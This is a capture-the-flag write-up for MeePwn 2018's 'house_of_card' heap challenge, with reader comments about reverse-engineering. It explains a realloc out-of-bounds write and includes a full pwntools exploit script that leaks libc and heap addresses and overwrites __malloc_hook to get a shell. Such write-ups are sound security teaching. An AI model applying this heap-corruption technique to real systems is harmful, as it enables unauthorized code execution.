Introduction
It is the only middle score challenge I solve in MeePwn CTF this time. The challenge is a routine menu challenge. The annoying part of this challenge is the complexity of malloc/free operation in each operation in this challenge. I think my exploit make things complicated again , I think it is necessary to record my thoughts during the exploitation.
Vulnerability Analysis
There are two data structures used in this challenge.
struct Data { char name[0x40]; int size; char desc[size]; } struct DataNode { struct Data *data; struct DataNode *prev; struct DataNode *next; }
There are three operations available in this challenge: (1)New (2)Edit (3)Delete. The basic working flow of the challenge
New:
Read a input string as name. Read an integer number as size. size must be larger than 0x80. tmpBuf = malloc(size) as a temporary buffer. data = (struct Data*)malloc(size+0x44); free(tmpBuf); dataNode = (struct DataNode*)malloc(0x18); dataNode->size = size; Insert dataNode into node list.
Edit
Pick the dataNode according to the given index. Read input to dataNode->data->name again. Read an integer as new_size. new_size must be larger than 0x80. If size is larger than dataNode->data->size: newData = (struct Data*)realloc(dataNode->data, new_size+0x44); User is asked to input the new description to newData->desc again. else: User is asked to input the new description to dataNode->desc directly.
Free
Pick the dataNode according to the given index. free(dataNode->data); free(dataNode);
The vulnerability exists in the process of reallocation. The size used to read input is set to new_size + 0x44, which results in a 44-byte out-of-bound write.
Exploit Plan
Still the exploit is divided into two parts:
Info Leak
The only way to leak libc base address is Edit operation. Since data->name is always initialized to 0 before reading from input, we have to leak the address via data->desc. Since Edit operation only outputs the first 0x20 byte of the data->desc, we have to be careful about the heap layout. In my final exploit, I try to leak the base address of libc and the base address of heap. But after the exploitation, it seems that there is no need to leak the heap address at all.
Hijacking Control Flow
According to vulnerability analysis above, my expected heap layout is given below:
data1-> *************** * * * * * * * * data2-> *************** * * * * * * * * * * * * * * * * dataNode->*************** * * * * ***************
The process of exploitation:
(1) Free(data2);
(2) Realloc(data1), trigger the vulnerability and corrupt dataNode->data.
(3) Overwrite __malloc_hook and use magic gadget to get shell.
According to other write-ups released today [1][2], I complicate this step in my exploit.
Exploit
from pwn import * DEBUG = int(sys.argv[1]); if(DEBUG == 0): r = remote("178.128.87.12", 31336); elif(DEBUG == 1): env = {"LD_PRELOAD":"./libc.so"}; r = process("./house_of_card", env=env); elif(DEBUG == 2): env = {"LD_PRELOAD":"./libc.so"}; r = process("./house_of_card", env=env); gdb.attach(r, '''source script.py'''); count = 0; def allocate(name, length, desc): global count; count = count + 1; r.recvuntil("\xa9\x20\x20\x20\x20"); r.sendline("1"); r.recvuntil("Name :"); r.sendline(name); r.recvuntil("Len?"); r.sendline(str(length)); r.recvuntil("Description:"); r.send(desc); def edit(index, name, length, desc): r.recvuntil("\xa9\x20\x20\x20\x20"); r.sendline("2"); r.recvuntil(">"); r.sendline(str(index)); r.recvuntil("New name?"); r.sendline(name); r.recvuntil("Len?"); r.sendline(str(length)); r.send(desc); def delete(index): global count; count = count - 1; r.recvuntil("\xa9\x20\x20\x20\x20"); r.sendline("3"); r.recvuntil(">"); r.sendline(str(index)); def exploit(): allocate("A"*4, 0x180, "a"*0x180); #1 allocate("B"*4, 0x160, "b"*0x160); #2 allocate("C"*4, 0x140, "c"*0x140); #3 allocate("D"*4, 0x120, "d"*0x120); #4 allocate("E"*4, 0x100, "e"*0x100); #5 delete(2); #delete #2 delete(3); #delete #4 delete(2); #delete #3 #start to leak info allocate("F"*4, 0xe0, "f"*0xe0); allocate("G"*4, 0xe0, "g"*0xe0); allocate("H"*4, 0x80, "h"*0x10+"\n"); allocate("I"*4, 0x100, "i"*4+"\n"); #start to leak r.recvuntil("\xa9\x20\x20\x20\x20"); r.sendline("2"); r.recvuntil("iiii"); r.recv(12); leaked1 = r.recv(8); leaked2 = r.recv(8); leakedValue1 = u64(leaked1); leakedValue2 = u64(leaked2); log.info("Leaked Value1: 0x%x" % leakedValue1); log.info("Leaked Value2: 0x%x" % leakedValue2); heapBaseAddr = leakedValue1 - 0xa0; libcBaseAddr = leakedValue2 - 0x3c1b58; log.info("Heap base address: 0x%x" % heapBaseAddr); log.info("Libc base address: 0x%x" % libcBaseAddr); log.info(count); r.recvuntil(">"); r.sendline(str(count + 1)); allocate("J"*4, 0x1a0, 'j'*0x1a0); allocate("K"*4, 0x1b0, 'k'*0x1b0); allocate("L"*4, 0x1c0, 'l'*0x1c0); allocate("M"*4, 0x1d0, 'm'*0x1d0); allocate("N"*4, 0x1e0, 'n'*0x1e0); allocate("O"*4, 0x1f0, 'o'*0x1f0); allocate("P"*4, 0x1a0, 'p'*0x1a0); for i in range(0, 10): allocate("JUNK", 0x200+i*0x10, "junk" * ((0x200+i*0x10)/4) ); allocate("Q"*4, 0x1a0, 'q'*0x1a0); allocate("R"*4, 0x300, 'r'*0x300); allocate("S"*4, 0x310, 's'*0x310); delete(6); payload = "A"*0x254+p64(0x21) + p64(libcBaseAddr + 0x3c1a90); #p64(heapBaseAddr+0x56d0); #+ p64(0x414141414141) payload = payload + p64(heapBaseAddr+0x800) + p64(heapBaseAddr+0xae0); payload = payload + p64(0x21) + p64(heapBaseAddr+0x5d40); #p64(0x424242424242); payload = payload + p64(heapBaseAddr+0xac0); log.info("payload length: 0x%x" % len(payload)); edit(2, "corruption", 0x250, payload +'\n'); payload = "A"*0x1c + p64(libcBaseAddr+0x4557a); edit(24, "modify", 0xa0, payload+'\n'); r.recvuntil("\xa9\x20\x20\x20\x20"); r.sendline("1"); r.recvuntil("Name :"); r.sendline("Trigger"); r.recvuntil("Len?"); r.sendline(str(0x100)); r.interactive(); exploit()
Conclusion
My understanding on heap manipulation still needs to be improved.
Reference
[1] https://gist.github.com/hama7230/66c90bfcbbbe0903306c0521255697fa
[2] https://github.com/Jinmo/ctfs/blob/master/2018/meepwn/house_of_card.py
[…] house_of_card Points: 420 Category: Pwn Writeup: [Original Writeup link] Task-Name: MeePwnTube Points: 940 Category: Web Writeup: [Original Writeup link] Task-Name: […]
LikeLike
Could you tell me how to see the pseudo-code like you ?
LikeLike
Just reverse engineer the binary code. There is no trick here. If you have IDA pro, IDA provides “pseudocode” functionality.
LikeLike
i mean your struct data explant, i see some writeup have same clear struct’s description like your. i just think have a plugin for ida to do this. Thank you.
LikeLike
As far as I know, there is no such plugin. I infer the data structure according to the offset used inside the allocated data and the corresponding operation.
LikeLike